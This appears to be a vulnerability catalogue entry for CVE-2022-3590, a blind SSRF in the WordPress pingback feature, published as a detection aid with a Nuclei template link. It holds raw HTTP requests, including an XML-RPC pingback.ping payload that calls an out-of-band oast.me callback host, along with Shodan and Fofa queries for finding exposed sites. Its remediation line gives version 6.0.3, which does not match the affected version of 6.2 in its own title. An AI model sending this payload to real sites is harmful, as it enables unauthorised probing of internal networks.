| Title | WordPress <= 6.2 - Server Side Request Forgery |
|---|---|
| Author | riteshs4hu |
| Severity | Medium |
| Impact | Unauthenticated attackers can exploit a race condition in the WordPress pingback feature to perform blind SSRF attacks, potentially accessing internal network resources, cloud metadata endpoints, or other restricted internal services that are explicitly forbidden by validation checks. |
| Remediation | Update WordPress to version 6.0.3 or later that properly handles TOCTOU race conditions in the pingback feature. |
| CVSS Score | 5.9 |
| EPSS Score | 0.86525 |
| CVE ID | CVE-2022-3590 |
| CWE ID | CWE-367 |
| Shodan Query | cpe:"cpe:2.3:a:wordpress:wordpress"http.component:"wordpress" |
| Fofa Query | body="oembed" && body="wp-" |
| Tags | cve cve2022 wordpress wpscan ssrf oast oob vkev vuln |
WordPress is affected by an unauthenticated blind SSRF in the pingback feature. Because of a TOCTOU race condition between the validation checks and the HTTP request, attackers can reach internal hosts that are explicitly forbidden.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /xmlrpc.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Content-Length: 306
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://d5jmmchle0o3u75ktd4g6cr4fs9kzqj45.oast.me/</string></value>
</param>
<param>
<value><string>//?p=1</string></value>
</param>
</params>
</methodCall>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3590.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3590.pcap
N/AN/A